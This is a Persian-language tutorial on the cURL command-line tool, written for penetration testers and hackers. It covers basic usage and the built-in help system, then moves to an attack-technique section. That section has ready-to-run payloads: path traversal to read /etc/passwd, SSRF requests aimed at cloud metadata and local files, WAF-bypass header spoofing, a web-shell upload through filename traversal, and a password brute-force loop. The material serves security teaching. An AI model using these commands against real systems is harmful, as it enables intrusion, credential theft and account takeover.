آموزش جامع cURL: سلاح مخفی هکرها و متخصصان امنیت
مقدمه: چرا cURL ابزار محبوب هکرهاست؟
در دنیای امنیت سایبری و تست نفوذ، ابزارهای گرافیکی زیادی وجود دارند، اما هیچکدام به اندازه cURL قدرتمند، سریع و منعطف نیستند. cURL یک ابزار خط فرمان (Command Line) است که به شما اجازه میدهد درخواستهای HTTP را با کنترل کامل ارسال کنید.
برخلاف مرورگرها که بسیاری از کارها را به صورت خودکار انجام میدهند (مثل مدیریت کوکیها، ریدایرکتها و اجرای جاوااسکریپت)، cURL دقیقاً همان چیزی را میفرستد که شما میخواهید. همین ویژگی باعث شده که هکرها و متخصصان امنیت از آن به عنوان یک “چاقوی جراحی” برای تست دقیق آسیبپذیریها استفاده کنند.
در این مقاله، ابتدا با اصول cURL آشنا میشوید، سپس سیستم راهنمای داخلی (Help System) را به طور کامل یاد میگیرید و در نهایت تکنیکهای حرفهای که هکرها برای تست نفوذ استفاده میکنند را کشف میکنید.
بخش ۱: cURL چیست و چه کاربردی دارد؟
cURL مخفف Client URL است و یک ابزار خط فرمان برای انتقال دادهها با پروتکلهای مختلف (HTTP, HTTPS, FTP, SFTP و…) میباشد. این ابزار روی تقریباً تمام سیستمعاملها (لینوکس، ویندوز، مک) قابل اجراست.
چرا هکرها از cURL استفاده میکنند؟
کنترل کامل بر درخواست: هر هدر (Header)، کوکی، متد HTTP و پارامتری که میخواهید را میتوانید دستی تنظیم کنید.
قابلیت اسکریپتنویسی: میتوانید cURL را در اسکریپتهای Bash یا Python قرار دهید و حملات را خودکار کنید.
دقت بالا: مرورگرها ممکن است درخواست شما را تغییر دهند (مثلاً مسیرها را نرمالسازی کنند)، اما cURL این کار را نمیکند.
سرعت و سبکی: بدون نیاز به رابط گرافیکی، در کسری از ثانیه اجرا میشود.
بخش ۲: اصول اولیه و راهنمای کامل Help System
۲.۱ سینتکس پایه cURL
سینتکس پایه cURL بسیار ساده است:
curl [گزینهها] [آدرس]
مثال ۱: دریافت یک صفحه وب
curl https://example.com
مثال ۲: ذخیره خروجی در یک فایل
curl -o page.html https://example.comمثال ۳: مشاهده جزئیات کامل درخواست و پاسخ (کلید موفقیت در تست نفوذ)
curl -v https://example.comگزینه -v (مخفف verbose) تمام هدرهای ارسالی و دریافتی را نشان میدهد. این گزینه برای دیباگ کردن و فهمیدن اینکه سرور چه چیزی دریافت کرده، حیاتی است.
۲.۲ راهنمای کامل Help System در cURL (بخش ویژه)
این بخش، یکی از مهمترین مهارتهایی است که بسیاری از افراد نادیده میگیرند. در یک محیط تست نفوذ، ممکن است دسترسی به اینترنت نداشته باشید و نتوانید مستندات آنلاین را بخوانید. در این مواقع، Help System داخلی cURL نجاتدهنده شماست.
الف) نمایش راهنمای کلی: curl --help
این دستور لیست تمام گزینههای cURL را به صورت دستهبندی شده (HTTP، FTP، Output، Connection و…) نمایش میدهد.
ترفند حرفهای: اگر به دنبال یک گزینه خاص هستید، از grep استفاده کنید:
curl --help | grep -i "proxy"این دستور تمام گزینههای مربوط به پروکسی را فیلتر میکند.
ب) راهنمای دستهبندیشده: curl --help [دسته]
cURL به شما اجازه میدهد راهنما را بر اساس دستهبندی خاصی مشاهده کنید:
curl --help http # فقط گزینههای مربوط به HTTP
curl --help all # نمایش تمام گزینهها (حتی موارد نادر)
curl --help output # فقط گزینههای مربوط به خروجی و فایلجدول دستهبندیهای مهم:
| دسته | کاربرد |
|---|---|
http | گزینههای مربوط به پروتکل HTTP |
ftp | گزینههای مربوط به پروتکل FTP |
output | مدیریت خروجی و ذخیره در فایل |
connect | تنظیمات اتصال و تایماوت |
security | تنظیمات SSL/TLS و احراز هویت |
transfer | کنترل انتقال داده |
all | نمایش تمام گزینهها |
ج) نمایش نسخه و قابلیتها: curl --version
curl --versionخروجی نمونه:
curl 8.6.0 (x86_64-pc-linux-gnu) libcurl/8.6.0 OpenSSL/3.0.13
Protocols: dict file ftp ftps gopher http https imap imaps ...
Features: alt-svc AsynchDNS brotli HSTS HTTP2 HTTPS-proxy IPv6 ...چرا این دستور برای هکرها مهم است؟
Protocols: بررسی کنید که آیا cURL از پروتکلهایی مثل
file://،gopher://یاdict://پشتیبانی میکند؟ این پروتکلها در حملات SSRF حیاتی هستند.Features: بررسی وجود قابلیتهایی مثل HTTP2، HSTS و IDN.
د) راهنمای کامل و آفلاین: man curl
کاملترین مرجع cURL، صفحه man آن است که تمام گزینهها را با جزئیات، مثال و سناریوهای کاربردی توضیح میدهد:
man curlکلیدهای میانبر در صفحه man:
| کلید | عملکرد |
|---|---|
/کلمه | جستجوی یک کلمه (مثلاً /proxy) |
n | رفتن به نتیجه بعدی جستجو |
N | رفتن به نتیجه قبلی جستجو |
q | خروج از صفحه man |
g | رفتن به ابتدای صفحه |
G | رفتن به انتهای صفحه |
سناریوی واقعی: فرض کنید در حال تست نفوذ هستید و میخواهید یک اتصال WebSocket را با cURL تست کنید، اما نمیدانید چه گزینهای لازم است. کافیست دستور man curl را اجرا کنید و سپس /websocket را تایپ کنید تا تمام گزینههای مربوطه را ببینید.
بخش ۳: تکنیکهای هکرها با cURL (بخش اصلی)
اینجا جایی است که cURL از یک ابزار ساده به یک سلاح تبدیل میشود. هکرها و تستکنندگان نفوذ از این تکنیکها برای دور زدن امنیت و کشف آسیبپذیریها استفاده میکنند.
تکنیک ۱: دور زدن فیلترهای مسیر با --path-as-is
این یکی از مهمترین تکنیکها برای کشف آسیبپذیری Directory Traversal (عبور از مسیر) است.
فرض کنید میخواهید یک حمله Path Traversal انجام دهید:
curl http://target.com/../../../../etc/passwdcURL به صورت پیشفرض مسیر را نرمالسازی میکند و آن را به /etc/passwd تبدیل میکند. یعنی Payload شما از بین میرود!
راهحل: استفاده از گزینه --path-as-is
curl http://target.com/../../../../etc/passwd --path-as-isحالا cURL دقیقاً همان مسیر را میفرستد و اگر سرور آسیبپذیر باشد، میتوانید فایلهای حساس را بخوانید.
تکنیک ۲: دور زدن DNS و تست Virtual Hosts با --resolve
گاهی اوقات یک سرویس فقط از داخل شبکه قابل دسترسی است، یا یک Virtual Host خاص فقط با نام دامنه مشخص پاسخ میدهد. با --resolve میتوانید cURL را مجبور کنید یک دامنه را به IP خاصی resolve کند.
curl --resolve admin.target.com:80:127.0.0.1 http://admin.target.comاین دستور باعث میشود درخواست به admin.target.com به جای DNS عمومی، به 127.0.0.1 (لوکالهاست) فرستاده شود. این تکنیک برای دور زدن محدودیتهای IP یا تست سرویسهای داخلی عالی است.
تکنیک ۳: جعل هدرها (Header Spoofing) برای دور زدن WAF
فایروالهای برنامه (WAF) اغلب ترافیک را بر اساس هدرهایی مثل User-Agent یا X-Forwarded-For فیلتر میکنند. هکرها با cURL این هدرها را جعل میکنند:
# جعل User-Agent برای عبور از فیلتر رباتها
curl -H "User-Agent: Googlebot/2.1" https://target.com/
# جعل IP برای تست دسترسیهای ادمین
curl -H "X-Forwarded-For: 127.0.0.1" https://target.com/admin
# جعل Host برای دسترسی به سرویسهای داخلی
curl -H "Host: internal.target.com" https://target.com/تکنیک ۴: تست SSRF (Server-Side Request Forgery)
در حملات SSRF، مهاجم سرور قربانی را مجبور میکند تا به منابع داخلی یا خارجی درخواست بفرستد. cURL ابزار اصلی برای تست این آسیبپذیری است:
# تست دسترسی به متادیتای ابری
curl "https://vulnerable.com/fetch?url=http://169.254.169.254/latest/meta-data/"
# خواندن فایلهای لوکال با پروتکل file://
curl "https://vulnerable.com/fetch?url=file:///etc/passwd"
# اسکن پورتهای داخلی
curl "https://vulnerable.com/fetch?url=http://127.0.0.1:22"تکنیک ۵: ارسال دادههای پیچیده (POST, JSON, File Upload)
ارسال داده POST ساده:
curl -X POST -d "username=admin&password=123" https://target.com/loginارسال JSON (برای APIها):
curl -X POST -H "Content-Type: application/json" \
-d '{"username":"admin","password":"test"}' \
https://target.com/api/loginآپلود فایل (تست Directory Traversal در نام فایل):
curl -F "file=@shell.php;filename=../../../../var/www/shell.php" https://target.com/uploadتکنیک ۶: استفاده از پروکسی برای ناشناس ماندن
# استفاده از پروکسی SOCKS5
curl -x socks5h://127.0.0.1:1080 https://target.com/
# استفاده از پروکسی HTTP
curl -x http://proxy-server:8080 https://target.com/تکنیک ۷: خودکارسازی حملات با اسکریپت
یکی از قدرتهای اصلی cURL، ترکیب آن با حلقههای Bash برای حملات خودکار است:
for pass in $(cat passwords.txt); do
curl -s -X POST -d "user=admin&pass=$pass" https://target.com/login | grep "Welcome"
doneبخش ۴: تکنیک طلایی – بازتولید درخواستهای مرورگر با cURL
یکی از کاربردیترین ترفندها برای تست نفوذ، این است که یک درخواست را در مرورگر (Chrome/Firefox) ثبت کنید و سپس آن را با cURL تکرار کنید.
مراحل:
در مرورگر، کلید
F12را بزنید تا Developer Tools باز شود.به تب Network بروید.
عملیاتی که میخواهید تست کنید را انجام دهید (مثلاً لاگین).
روی درخواست مورد نظر راستکلیک کنید و گزینه Copy و سپس Copy as cURL را انتخاب کنید.
حالا یک دستور cURL کامل (با تمام هدرها و کوکیها) در کلیپبورد شماست. آن را در ترمینال Paste کنید و اجرا کنید.
این تکنیک به شما اجازه میدهد تا دقیقاً همان درخواستی که مرورگر میفرستد را دستکاری کنید و بفهمید کدام پارامتر آسیبپذیر است.
بخش ۵: جدول مرجع سریع گزینههای cURL
| گزینه | کاربرد |
|---|---|
--help | نمایش راهنمای کلی |
--help http | نمایش گزینههای HTTP |
--version | نمایش نسخه و پروتکلهای پشتیبانی شده |
man curl | راهنمای کامل و آفلاین |
-v | نمایش کامل درخواست و پاسخ (دیباگ) |
--path-as-is | جلوگیری از نرمالسازی مسیر (Directory Traversal) |
--resolve | اجبار به resolve دامنه به IP خاص |
-H | تنظیم هدر سفارشی (جعل User-Agent, IP) |
-X | تعیین متد HTTP (POST, PUT, DELETE) |
-d | ارسال دادههای POST |
-F | ارسال فرم چندبخشی (آپلود فایل) |
-b / -c | ارسال / ذخیره کوکیها |
-x | استفاده از پروکسی |
-k | نادیده گرفتن خطای SSL |
-L | دنبال کردن ریدایرکتها |
--connect-timeout | تعیین تایماوت اتصال |